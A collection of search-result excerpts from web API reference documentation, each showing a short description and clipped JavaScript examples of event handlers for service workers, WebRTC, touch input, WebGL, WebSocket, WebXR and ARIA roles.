... examples self.addeventlistener('push', function(event) { var mydata = event.data.json(); // do something with your data }); specifications specification status comment push apithe definition of 'json()' in that specification.
RTCDTMFSender.ontonechange - Web APIs
the ontonechange property of the rtcdtmfsender interface is used to set the event handler for the tonechange event, which is sent to the rtcdtmfsender each time a tone begins or ends.
... the event handler receives as input a single parameter of type rtcdtmftonechangeevent, which describes the change.
... syntax rtcdtmfsender.ontonechange = tonechangehandlerfunction; value a function which is called when a tonechange event is sent to the rtcdtmfsender, indicating that a dtmf tone has either started playing, or if all tones have finished playing.
RTCDataChannel.binaryType - Web APIs
when a binary message is received on the data channel, the resulting message event's messageevent.data property is an object of the type specified by the binarytype.
... example this code configures a data channel to receive binary data in arraybuffer objects, and establishes a listener for message events which constructs a string representing the received data as a list of hexadecimal byte values.
... var dc = peerconnection.createdatachannel("binary"); dc.binarytype = "arraybuffer"; dc.onmessage = function(event) { let bytearray = new uint8array(event.data); let hexstring = ""; bytearray.foreach(function(byte) { hexstring += byte.tostring(16) + " "; }); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.binarytype' in that specification.
RTCDataChannel.bufferedAmount - Web APIs
the user agent may implement the process of actually sending data in any way it chooses; this may be done periodically during the event loop or truly asynchronously.
... whenever this value decreases to fall to or below the value specified in the bufferedamountlowthreshold property, the user agent fires the bufferedamountlow event.
... this event may be used, for example, to implement code which queues more messages to be sent whenever there's room to buffer them.
RTCPeerConnection.addStream() - Web APIs
if the signalingstate is set to stable, the event negotiationneeded is sent on the rtcpeerconnection to indicate that ice negotiation must be repeated to consider the new stream.
... the exception is in chrome, where addstream() does make the peer connection sensitive to later stream changes (though such changes do not fire the negotiationneeded event).
...you can write web compatible code using feature detection instead: // add a track to a stream and the peer connection said stream was added to: stream.addtrack(track); if (pc.addtrack) { pc.addtrack(track, stream); } else { // if you have code listening for negotiationneeded events: settimeout(() => pc.dispatchevent(new event('negotiationneeded'))); } // remove a track from a stream and the peer connection said stream was added to: stream.removetrack(track); if (pc.removetrack) { pc.removetrack(pc.getsenders().find(sender => sender.track == track)); } else { // if you have code listening for negotiationneeded events: settimeout(() => pc.dispatchevent(new event('negotiationneeded'))); } specifi...
RTCPeerConnection.oniceconnectionstatechange - Web APIs
the rtcpeerconnection.oniceconnectionstatechange property is an event handler which specifies a function to be called when the iceconnectionstatechange event is fired on an rtcpeerconnection instance.
... syntax rtcpeerconnection.oniceconnectionstatechange = eventhandler; value this event handler can be set to function which is passed a single input parameter: an event object describing the iceconnectionstatechange event which occurred.
... pc.oniceconnectionstatechange = function(event) { if (pc.iceconnectionstate === "failed" || pc.iceconnectionstate === "disconnected" || pc.iceconnectionstate === "closed") { // handle the failure } }; of course, "disconnected" and "closed" don't necessarily indicate errors; these can be the result of normal ice negotiation, so be sure to handle these properly (if at all).
RTCSctpTransport - Web APIs
properties also inherits properties from: eventtarget rtcsctptransport.maxchannelsread only an integer value indicating the maximum number of rtcdatachannels that can be open simultaneously.
... event handlers rtcsctptransport.onstatechange fired when the rtcsctptransport.state changes.
... methods this interface has no methods, but inherits methods from: eventtarget example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsctptransport' in that specification.
Range.extractContents() - Web APIs
event listeners added using dom events are not retained during extraction.
... html attribute events are retained or duplicated as they are for the node.clonenode() method.
... html <p id="list1">123456</p> <button id="swap">swap selected item(s)</button> <p id="list2">abcdef</p> css body { pointer-events: none; } p { border: 1px solid; font-size: 2em; padding: .3em; } button { font-size: 1.2em; padding: .5em; pointer-events: auto; } javascript const list1 = document.getelementbyid('list1'); const list2 = document.getelementbyid('list2'); const button = document.getelementbyid('swap'); button.addeventlistener('click', e => { selection = window.getselection(); for (let i = 0;...
RelativeOrientationSensor - Web APIs
event handlers no specific event handlers; inherits methods from its ancestor, sensor.
... const options = { frequency: 60, referenceframe: 'device' }; const sensor = new relativeorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere.
... model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requsting permissions for multiple device sensors.
ResizeObserver - Web APIs
implementations should, if they follow the specification, invoke resize events before paint and after layout.
... the javascript looks like so: const h1elem = document.queryselector('h1'); const pelem = document.queryselector('p'); const divelem = document.queryselector('body > div'); const slider = document.queryselector('input[type="range"]'); const checkbox = document.queryselector('input[type="checkbox"]'); divelem.style.width = '600px'; slider.addeventlistener('input', () => { divelem.style.width = slider.value + 'px'; }) const resizeobserver = new resizeobserver(entries => { for (const entry of entries) { if (entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize / 200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize / 600) + 'rem'; } else { h1ele...
...m.style.fontsize = math.max(1.5, entry.contentrect.width / 200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentrect.width / 600) + 'rem'; } } }); resizeobserver.observe(divelem); checkbox.addeventlistener('change', () => { if (checkbox.checked) { resizeobserver.observe(divelem); } else { resizeobserver.unobserve(divelem); } }); specifications specification status comment resize observerthe definition of 'resizeobserver' in that specification.
Using the Screen Capture API - Web APIs
related to this, the devicechange event is never sent when there are changes to the sources available for getdisplaymedia().
... finally, event listeners are established to detect user clicks on the start and stop buttons.
... const videoelem = document.getelementbyid("video"); const logelem = document.getelementbyid("log"); const startelem = document.getelementbyid("start"); const stopelem = document.getelementbyid("stop"); // options for getdisplaymedia() var displaymediaoptions = { video: { cursor: "always" }, audio: false }; // set event listeners for the start and stop buttons startelem.addeventlistener("click", function(evt) { startcapture(); }, false); stopelem.addeventlistener("click", function(evt) { stopcapture(); }, false); logging content to make logging of errors and other issues easy, this example overrides certain console methods to output their messages to the <pre> block whose id is log.
ServiceWorkerContainer.onerror - Web APIs
the onerror property of the serviceworkercontainer interface is an event handler fired whenever an error event occurs in the associated service workers.
... syntax serviceworkercontainer.onerror = function(errorevent) { ...
... } example navigator.serviceworker.onerror = function(errorevent) { console.log(`received error message: ${errorevent.message}`); } ...
ServiceWorkerContainer.startMessages() - Web APIs
after the domcontentloaded event fires).
... it's possible to start dispatching these messages earlier by calling serviceworkercontainer.startmessages(), for example if you've invoked a message handler using eventtarget.addeventlistener() before the page has finished loading, but want to start processing the messages right away.
... navigator.serviceworker.addeventlistener('message', (e) => { // ...
ServiceWorkerGlobalScope.onsync - Web APIs
the serviceworkerglobalscope.onsync event of the serviceworkerglobalscope interface is fired whenever a syncevent event occurs.
... syntax serviceworkerglobalscope.onsync = function(syncevent) { ...
... } self.addeventlistener('sync', function(syncevent) { ...
ServiceWorkerGlobalScope.skipWaiting() - Web APIs
therefore, it's common to call self.skipwaiting() from inside of an installevent handler.
... self.addeventlistener('install', function(event) { // the promise that skipwaiting() returns can be safely ignored.
... self.skipwaiting(); // perform any other actions required for your // service worker to install, potentially inside // of event.waituntil(); }); specifications specification status comment service workersthe definition of 'skipwaiting()' in that specification.
SourceBuffer.abort() - Web APIs
for example, consider this code: sourcebuffer.addeventlistener('updateend', function (_) { ...
... }); sourcebuffer.appendbuffer(buf); let's say that after the call to appendbuffer but before the updateend event fires (i.e.
... you can see something similar in action in nick desaulnier's bufferwhenneeded demo — in line 48, an event listener is added to the playing video so a function called seek() is run when the seeking event fires.
SpeechRecognition.onresult - Web APIs
the onresult property of the speechrecognition interface represents an event handler that will run when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app (when the result event fires.) syntax myspeechrecognition.onresult = function() { ...
... recognition.onresult = function(event) { // the speechrecognitionevent results property returns a speechrecognitionresultlist object // the speechrecognitionresultlist object contains speechrecognitionresult objects.
... // we then return the transcript property of the speechrecognitionalternative object var color = event.results[0][0].transcript; diagnostic.textcontent = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; } specifications specification status comment web speech apithe definition of 'onresult' in that specification.
SpeechRecognitionError.error - Web APIs
this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification.
... syntax var myerror = event.error; value a domstring naming the type of error.
... examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } ...
SpeechRecognitionError.message - Web APIs
this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification.
... syntax var myerrormsg = event.message; value a domstring containing more details about the error that was raised.
... examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } ...
SpeechRecognitionError - Web APIs
this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification.
... properties speechrecognitionerror also inherits properties from its parent interface, event.
... examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detected: ' + event.error); console.log('additional information: ' + event.message); } ...
SpeechSynthesis.onvoiceschanged - Web APIs
the onvoiceschanged property of the speechsynthesis interface represents an event handler that will run when the list of speechsynthesisvoice objects that would be returned by the speechsynthesis.getvoices() method has changed (when the voiceschanged event fires.) this may occur when speech synthesis is being done on the server-side and the voices list is being determined asynchronously, or when client-side voices are installed/uninstalled while a speech synthesis application is running.
...}; examples this could be used to populate a list of voices that the user can choose between when the event fires (see our speak easy synthesis demo.) note that firefox doesn't support it at present, and will just return a list of voices when speechsynthesis.getvoices() is fired.
... with chrome however, you have to wait for the event to fire before populating the list, hence the bottom if statement seen below.
SubtleCrypto.deriveBits() - Web APIs
atekey, publickey) { const sharedsecret = await window.crypto.subtle.derivebits( { name: "ecdh", namedcurve: "p-384", public: publickey }, privatekey, 128 ); const buffer = new uint8array(sharedsecret, 0, 5); const sharedsecretvalue = document.queryselector(".ecdh .derived-bits-value"); sharedsecretvalue.classlist.add("fade-in"); sharedsecretvalue.addeventlistener("animationend", () => { sharedsecretvalue.classlist.remove("fade-in"); }); sharedsecretvalue.textcontent = `${buffer}...[${sharedsecret.bytelength} bytes total]`; } // generate 2 ecdh key pairs: one for alice and one for bob // in more normal usage, they would generate their key pairs // separately and exchange public keys securely const generatealiceskeypair = window.crypto.subt...
...bits"] ); const generatebobskeypair = window.crypto.subtle.generatekey( { name: "ecdh", namedcurve: "p-384" }, false, ["derivebits"] ); promise.all([generatealiceskeypair, generatebobskeypair]).then(values => { const aliceskeypair = values[0]; const bobskeypair = values[1]; const derivebitsbutton = document.queryselector(".ecdh .derive-bits-button"); derivebitsbutton.addeventlistener("click", () => { // alice then generates a secret using her private key and bob's public key.
... const derivedbits = await window.crypto.subtle.derivebits( { "name": "pbkdf2", salt: salt, "iterations": 100000, "hash": "sha-256" }, keymaterial, 256 ); const buffer = new uint8array(derivedbits, 0, 5); const derivedbitsvalue = document.queryselector(".pbkdf2 .derived-bits-value"); derivedbitsvalue.classlist.add("fade-in"); derivedbitsvalue.addeventlistener("animationend", () => { derivedbitsvalue.classlist.remove("fade-in"); }); derivedbitsvalue.textcontent = `${buffer}...[${derivedbits.bytelength} bytes total]`; } const derivebitsbutton = document.queryselector(".pbkdf2 .derive-bits-button"); derivebitsbutton.addeventlistener("click", () => { getderivedbits(); }); specifications specification status comment ...
TextTrack - Web APIs
WebAPITextTrack
properties this interface also inherits properties from eventtarget.
... events cuechange fired when cues are entered and exited.
... methods this interface also inherits methods from eventtarget.
TextTrackCue - Web APIs
properties this interface also inherits properties from eventtarget.
... event handlers texttrackcue.onenter the event handler for the enter event.
... texttrackcue.onexit the event handler for the exit event.
Touch() - Web APIs
WebAPITouchTouch
"target", required, of type eventtarget, the item at which the touch point started when it was first placed on the surface.
...(for example, the user agent may use the rotationangle value from the previous touch event, to avoid sudden changes.).
... specifications specification status comment touch events – level 2the definition of 'touchevent' in that specification.
Touch.force - Web APIs
WebAPITouchforce
in following code snippet, the touchstart event handler iterrates through the targettouches list and logs the force value of each touch point but the code could invoke different processing depending on the value.
... someelement.addeventlistener('touchstart', function(e) { // iterate through the list of touch points and log each touch // point's force.
... console.log("targettouches[" + i + "].force = " + e.targettouches[i].force); } }, false); specifications specification status comment touch events – level 2 draft initial definition.
TouchList.item() - Web APIs
WebAPITouchListitem
target = document.getelementbyid("target"); target.addeventlistener('touchstart', function(ev) { // if this touchstart event started on element target, // set touch to the first item in the targettouches list; // otherwise set touch to the first item in the touches list var touch; if (ev.targettouches.length >= 1) touch = ev.targettouches.item(0); else touch = ev.touches.item(0); }, false); specifications specification...
... status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
TouchList.length - Web APIs
WebAPITouchListlength
target = document.getelementbyid("target"); target.addeventlistener('touchstart', function(ev) { // if this touchstart event started on element target, // set touch to the first item in the targettouches list; // otherwise set touch to the first item in the touches list var touch; if (ev.targettouches.length >= 1) touch = ev.targettouches.item(0); else touch = ev.touches.item(0); }, false); specifications specification status com...
...ment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
TouchList - Web APIs
WebAPITouchList
example see the example on the main touch events article.
... specifications specification status comment touch events – level 2 draft non-stable version.
... touch events recommendation initial definition.
Detect WebGL - Web APIs
<p>[ here would go the result of webgl feature detection ]</p> <button>press here to detect webglrenderingcontext</button> body { text-align : center; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } // run everything inside window load event handler, to make sure // dom is fully loaded and styled before trying to manipulate it.
... window.addeventlistener("load", function() { var paragraph = document.queryselector("p"), button = document.queryselector("button"); // adding click event handler to button.
... button.addeventlistener("click", detectwebglcontext, false); function detectwebglcontext () { // create canvas element.
Hello vertex attributes - Web APIs
vertex" id="vertex-shader"> #version 100 precision highp float; attribute float position; void main() { gl_position = vec4(position, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision mediump float; void main() { gl_fragcolor = vec4(0.18, 0.54, 0.34, 1.0); } </script> ;(function(){ "use strict" window.addeventlistener("load", setupwebgl, false); var gl, program; function setupwebgl (evt) { window.removeeventlistener(evt.type, setupwebgl, false); if (!(gl = getrenderingcontext())) return; var source = document.queryselector("#vertex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source =...
..." + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); document.queryselector("canvas").addeventlistener("click", function (evt) { var clickxrelativtocanvas = evt.pagex - evt.target.offsetleft; var clickxinwebglcoords = 2.0 * (clickxrelativtocanvas- gl.drawingbufferwidth/2) / gl.drawingbufferwidth; gl.bufferdata(gl.array_buffer, new float32array([clickxinwebglcoords]), gl.static_draw); gl.drawarrays(gl.points, 0, 1); }, fa...
...lse); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0]), gl.static_draw); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } window.addeventlistener("beforeunload", cleanup, true); function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragrap...
Raining rectangles - Web APIs
0</strong>.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); var gl, timer, rainingrect, scoredisplay, missesdisplay; function setupanimation (evt) { window.removeeventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) return; gl.enable(gl.scissor_test); rainingrect = new rectangle(); timer = settimeout(drawanimation, 17); document.queryselector("canvas") .add...
...eventlistener("click", playerclick, false); var displays = document.queryselectorall("strong"); scoredisplay = displays[0]; missesdisplay = displays[1]; } var score = 0, misses = 0; function drawanimation () { gl.scissor(rainingrect.position[0], rainingrect.position[1], rainingrect.size[0] , rainingrect.size[1]); gl.clear(gl.color_buffer_bit); rainingrect.position[1] -= rainingrect.velocity; if (rainingrect.position[1] < 0) { misses += 1; missesdisplay.innerhtml = misses; rainingrect = new rectangle(); } // we are using settimeout for animation.
... timer = settimeout(drawanimation, 17); } function playerclick (evt) { // we need to transform the position of the click event from // window coordinates to relative position inside the canvas.
Scissor animation - Web APIs
mation</button> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); // variables to hold the webgl context, and the color and // position of animated squares.
... var gl, color = getrandomcolor(), position; function setupanimation (evt) { window.removeeventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) return; gl.enable(gl.scissor_test); gl.clearcolor(color[0], color[1], color[2], 1.0); // unlike the browser window, vertical position in webgl is // measured from bottom to top.
... position = [0, gl.drawingbufferheight]; var button = document.queryselector("button"); var timer; function startanimation(evt) { button.removeeventlistener(evt.type, startanimation, false); button.addeventlistener("click", stopanimation, false); document.queryselector("strong").innerhtml = "stop"; timer = setinterval(drawanimation, 17); drawanimation(); } function stopanimation(evt) { button.removeeventlistener(evt.type, stopanimation, false); button.addeventlistener("click", startanimation, false); document.queryselector("strong").innerhtml = "start"; clearinterval(timer); } stopanimation({type: "click"}); } // variables to hold ...
WebSocket.onclose - Web APIs
WebAPIWebSocketonclose
the websocket.onclose property is an eventhandler that is called when the websocket connection's readystate changes to closed.
... it is called with a closeevent.
... syntax awebsocket.onclose = function(event) { console.log("websocket is closed now."); }; value an eventlistener.
WebSocket.onmessage - Web APIs
the websocket.onmessage property is an eventhandler that is called when a message is received from the server.
... it is called with a messageevent.
... syntax awebsocket.onmessage = function(event) { console.debug("websocket message received:", event); }; value an eventlistener.
WebSocket.onopen - Web APIs
WebAPIWebSocketonopen
the websocket.onopen property is an eventhandler that is called when the websocket connection's readystate changes to 1; this indicates that the connection is ready to send and receive data.
... it is called with an event.
... syntax awebsocket.onopen = function(event) { console.log("websocket is open now."); }; value an eventlistener.
WebXR permissions and security - Web APIs
once that check is passed, the request to enter immersive-vr mode is allowed if all of the following are true: the requestsession() call was issued by code executing within the handler for a user event, or the from the startup code for a user-launched web application.
... specifically: if the requestsession() call isn't coming from within the handler executed in response to a user event, and is not being issued while launching a web application, the request is denied and false is delivered to the promise's fulfillment handler.
...for example, if you have an "enter xr mode" button, and the user clicks it, calling requestsession() from the button's click event handler will permitted.
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
<<<--- needs an example --->>> the reset event <<<--- this section probably has problems still; corrections are appreciated --->>> when a discontinuity or break in the native or effective origin of a reference space occurs, the user agent will send the xrreferencespace a reset event.
... this event indicates that a significant change to the origin's position has taken place relative to the user's environment.
...the event is always sent to every affected reference space, including those created using getoffsetreferencespace(), so if you listen for reset events, you need to be sure you retain a strong reference to any spaces you're still using.
Migrating from webkitAudioContext - Web APIs
if you need to know when playback of the node is finished (which is the most significant use case of playbackstate), there is a new ended event which you can use to know when playback is finished.
...var isfinished = (src.playbackstate == src.finished_state); // new audiocontext code: var src = context.createbuffersource(); function endedhandler(event) { isfinished = true; } var isfinished = false; src.onended = endedhandler; the exact same changes have been applied to both audiobuffersourcenode and oscillatornode, so you can apply the same techniques to both kinds of nodes.
... if you need to count the number of playing source nodes, you can maintain the count by handling the ended event on the source nodes, as shown above.
Web audio spatialization basics - Web APIs
nner.orientationz.value*math.cos(q) - panner.orientationy.value*math.sin(q); y = panner.orientationz.value*math.sin(q) + panner.orientationy.value*math.cos(q); x = panner.orientationx.value; panner.orientationx.value = x; panner.orientationy.value = y; panner.orientationz.value = z; break; one last thing — we need to update the css and keep a reference of the last move for the mouse event.
...atex('+transform.xaxis+'px) translatey('+transform.yaxis+'px) scale('+transform.zaxis+') rotatey('+transform.rotatey+'deg) rotatex('+transform.rotatex+'deg)'; const move = prevmove || {}; move.frameid = requestanimationframe(() => moveboombox(direction, move)); return move; } wiring up our controls wiring up out control buttons is comparatively simple — now we can listen for a mouse event on our controls and run this function, as well as stop it when the mouse is released: // for each of our controls, move the boombox and change the position values movecontrols.foreach(function(el) { let moving; el.addeventlistener('mousedown', function() { let direction = this.dataset.control; if (moving && moving.frameid) { window.cancelanimationframe(movin...
...g.frameid); } moving = moveboombox(direction); }, false); window.addeventlistener('mouseup', function() { if (moving && moving.frameid) { window.cancelanimationframe(moving.frameid); } }, false) }) summary hopefully, this article has given you an insight into how web audio spatialization works, and what each of the pannernode properties do (there are quite a few of them).
Web Storage API - Web APIs
web storage interfaces storage allows you to set, retrieve and remove data for a specific domain and storage type (session or local.) window the web storage api extends the window object with two new properties — window.sessionstorage and window.localstorage — which provide access to the current domain's session and local storage objects respectively, and a window.onstorage event handler that fires when a storage area changes (e.g.
... a new item is stored.) storageevent the storage event is fired on a document's window object when a storage area changes.
... in addition, we have provided an event output page — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as the storageevent is fired.
Window.matchMedia() - Web APIs
WebAPIWindowmatchMedia
use this object's properties and events to detect matches and to monitor for changes to those matches over time.
... usage notes you can use the returned media query to perform both instantanteous and event-driven checks to see if the document matches the media query.
... if you need to be kept aware of whether or not the document matches the media query at all times, you can instead watch for the change event to be delivered to the object.
Window.onappinstalled - Web APIs
the onappinstalled attribute of the window object serves as an event handler for the appinstalled event, which is dispatched once the web application is successfully installed as a progressive web app.
... the event that is fired is a "simple event" that implements the event interface.
... syntax window.onappinstalled = function(event) { ...
Window.ondevicemotion - Web APIs
an event handler for the devicemotion events sent to the window.
...this function receives a devicemotionevent object describing the motion that occurred.
... specifications specification status comment deviceorientation event specification editor's draft initial definition.
Window.ongamepadconnected - Web APIs
the ongamepadconnected property of the window interface represents an event handler that will run when a gamepad is connected (when the gamepadconnected event fires).
... the event object is of type gamepadevent.
...}; examples window.ongamepadconnected = function(event) { // all buttons and axes values can be accessed through event.gamepad; }; specifications specification status comment gamepadthe definition of 'gamepadconnected event' in that specification.
Window.ongamepaddisconnected - Web APIs
the ongamepaddisconnected property of the window interface represents an event handler that will run when a gamepad is disconnected (when the gamepaddisconnected event fires).
... the event object is of type gamepadevent.
...}; examples window.ongamepaddisconnected = function() { // a gamepad has been disconnected }; specifications specification status comment gamepadthe definition of 'gamepaddisconnected event' in that specification.
Window.onmozbeforepaint - Web APIs
summary an event handler for the mozbeforepaint event.
... notes this event fires immediately before the browser window is repainted, if the event has been requested by one or more scripts calling window.mozrequestanimationframe().
... the event handler receives as an input parameter an event whose timestamp property is the time, in milliseconds since epoch, that is the "current time" for the current animation frame.
Window.onuserproximity - Web APIs
the window.onuserproxymity property represents an eventhandler, that is a function to be called when the userproximity event occurs.
... these events are of type userproximityevent and occur when the the device sensor detects that an object becomes nearby.
... syntax window.onuserproximity = eventhandler ...
window.requestIdleCallback() - Web APIs
this enables developers to perform background and low priority work on the main event loop, without impacting latency-critical events such as animation and input response.
... you can call requestidlecallback() within an idle callback function to schedule another callback to take place no sooner than the next pass through the event loop.
... parameters callback a reference to a function that should be called in the near future, when the event loop is idle.
Worker.onmessage - Web APIs
WebAPIWorkeronmessage
the onmessage property of the worker interface represents an eventhandler, that is a function to be called when the message event occurs.
... these events are of type messageevent and will be called when the worker's parent receives a message (i.e.
... note: the message payload is available in the message event's data property.
Worker.prototype.postMessage() - Web APIs
syntax worker.postmessage(message, [transfer]); parameters message the object to deliver to the worker; this will be in the data field in the event delivered to the dedicatedworkerglobalscope.onmessage handler.
...when either of two form inputs (first and second) have their values changed, change events invoke postmessage() to send the value of both inputs to the current worker.
...ode: var myworker = new chromeworker(self.path + 'myworker.js'); function handlemessagefromworker(msg) { console.log('incoming message from worker, msg:', msg); switch (msg.data.atopic) { case 'do_sendmainarrbuff': sendmainarrbuff(msg.data.abuf) break; default: throw 'no atopic on incoming message to chromeworker'; } } myworker.addeventlistener('message', handlemessagefromworker); // ok lets create the buffer and send it var arrbuf = new arraybuffer(8); console.info('arrbuf.bytelength pre transfer:', arrbuf.bytelength); myworker.postmessage( { atopic: 'do_sendworkerarrbuff', abuf: arrbuf // the array buffer that we passed to the transferrable section 3 lines below }, [ arrbuf // the array bu...
XDomainRequest - Web APIs
event handlers xdomainrequest.onprogress a handler for when the request has made progress between the send method call and the onload event.
..."http://example.com/api/method"); xdr.onprogress = function () { //progress }; xdr.ontimeout = function () { //timeout }; xdr.onerror = function () { //error occurred }; xdr.onload = function() { //success(xdr.responsetext); } settimeout(function () { xdr.send(); }, 0); } note: the xdr.send() call is wrapped in a timeout (see window.settimeout() to prevent an issue with the interface where some requests are lost if multiple xdomainrequests are being sent at the same time.
... note: the xdr.onprogress event should always be defined, even as an empty function, or xdomainrequest may not fire onload for duplicate requests.
XRPose.transform - Web APIs
WebAPIXRPosetransform
example this handler for the xrsession event select handles events for tracked pointers.
... it determines the targeted object by passing the event frame's pose into a function called findtargetusingray(), then dispatches the event differently depending on the user's handedness; this is done by comparing the value of the xrinputsource property handedness to a value in the variable user.handedness.
... xrsession.addeventlistener("select", event => { let source = event.inputsource; let frame = event.frame; let targetraypose = frame.getpose(source.targetrayspace, myrefspace); let targetobject = findtargetusingray(targetray.transform.matrix); if (source.targetraymode == "tracked-pointer") { if (source.handedness == user.handedness) { targetobject.primaryaction(); } else { targetobject.offhandaction(); } } }); specifications specification status comment webxr device apithe definition of 'xrpose.transform' in that specification.
XRReferenceSpace.onreset - Web APIs
the xrreferencespace interface's onreset event handler property can be set to a function which is called when the xrreferencespace receives a reset event, signaling that the xr device has experienced a discontinuity large enough to require that the position and/or orientation of the origin be significantly altered to compensate.
... syntax xrreferencespace.onreset = eventhandler; eventhandler = xrreferencespace.onreset; value an event handler function which will be called whenever the reset event is received by the xrreferencespace.
... usage notes see the reset event documentation for further details.
XRSession.onend - Web APIs
WebAPIXRSessiononend
the onend attribute of the xrsession object is the event handler for the end event, which is dispatched after the xr session ends and all related hardware-specific routines are completed.
... syntax xrsession.onend = function(event) { ...
... }; example xrsession.onend = function(event) { console.log("the xr session has ended") } specifications specification status comment webxr device apithe definition of 'xrsession.onend' in that specification.
XRSession.oninputsourceschange - Web APIs
the oninputsourcechange attribute of the xrsession object is the event handler for the inputsourcechange event, which is dispatched when session's list of active xr input sources has changed.
... syntax xrsession.oninputsourceschange = function(event) { ...
... } example xrsession.oninputsourceschange = function(event) { console.log("the list of active xr input sources has changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.oninputsourceschange' in that specification.
XRSession.onselectend - Web APIs
the onselectend attribute of the xrsession object is the event handler for the selectend event, which is dispatched when user finishes making some sort of selection by releasing a trigger, touchpad, or button, finishes speaking a command, or makes a hand gesture.
... syntax xrsession.onselectend = function(event) { ...
... } example xrsession.onselectend = function(event) { console.log("the user has completed a primary action.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselectend' in that specification.
XRSession.onselectstart - Web APIs
the onselectstart attribute of the xrsession object is the event handler for the selectstart event, which is dispatched when user starts making some sort of selection by pressing a trigger, touchpad, or button, speaking a command, or making a hand gesture.
... syntax xrsession.onselectstart = function(event) { ...
... } example xrsession.onselectstart = function(event) { console.log("the user has started a primary action, but might not have completed it.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselectstart' in that specification.
XRSession.onvisibilitychange - Web APIs
the onvisibilitychange attribute of the xrsession object is the event handler for the visibilitychange event, which is dispatched when the visibility state of the xr session changes.
... syntax xrsession.onvisibilitychange = function(event) { ...
... } example xrsession.onvisibilitychange = function(event) { console.log("the visibility the xr session changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.onvisibilitychange' in that specification.
XRSession.requestAnimationFrame() - Web APIs
to prevent two loops from // rendering in parallel, skip drawing in this one until the session ends.
...} // assumed to be called by a user gesture event elsewhere in code.
... function startxrsession() { navigator.xr.requestsession('immersive-vr').then((session) => { xrsession = session xrsession.addeventlistener('end', onxrsessionended) // do necessary session setup here.
XRSystem: ondevicechange - Web APIs
the ondevicechange property of the xrsystem interface is passed a devicechange event whenever availability of an immersive device changes.
... the event that is fired is a "simple event" that implements the event interface.
... syntax navigator.xr.ondevicechange = function(event) { ...
Using the alert role - Accessibility
when this role is added to an element, the browser will send out an accessible alert event to assistive technology products which can then notify the user about it.
... fire an accessible alert event using the operating system's accessibility api if it supports it.
... assistive technology products should listen for such an event and notify the user accordingly: screen readers may interrupt current output (whether it's speech or braille) and immediately announce or display the alert message.
Using the group role - Accessibility
when the role is added to an element, the browser will send out an accessible group event to assistive technology products which can then notify the user about it.
... fire an accessible group event using the operating system's accessibility api if it supports it.
... assistive technology products should listen for such an event and notify the user accordingly: screen readers should announce the group when focus first lands on a control inside it, and if aria-describedby has been set, the description may be spoken.
Using the link role - Accessibility
fire an accessible link event using the operating system's accessibility api if it supports it.
... assistive technology products should listen for such an event and notify the user accordingly: screen readers should announce the text of the link or its label when it is focused, along with the fact that it is a link.
...e.target : e.srcelement; if (ref) { window.open(ref.getattribute('data-href'), '_blank'); } } } spanelem.addeventlistener('click', navigatelink); spanelem.addeventlistener('keydown', navigatelink); result notes if pressing the link triggers an action but does not change browser focus or navigate to a new page, you might wish to consider using the button role instead of the link role.
Using the log role - Accessibility
when this role is added to an element, the browser will send out an accessible log event to assistive technology products which can then notify the user about it.
... fire an accessible log event using the operating system's accessibility api if it supports it.
... assistive technology products should listen for such an event and notify the user accordingly: screen readers should announce changes inside a log when the user is idle, unless aria-live=”assertive” has been set and in which case the user may be interrupted.
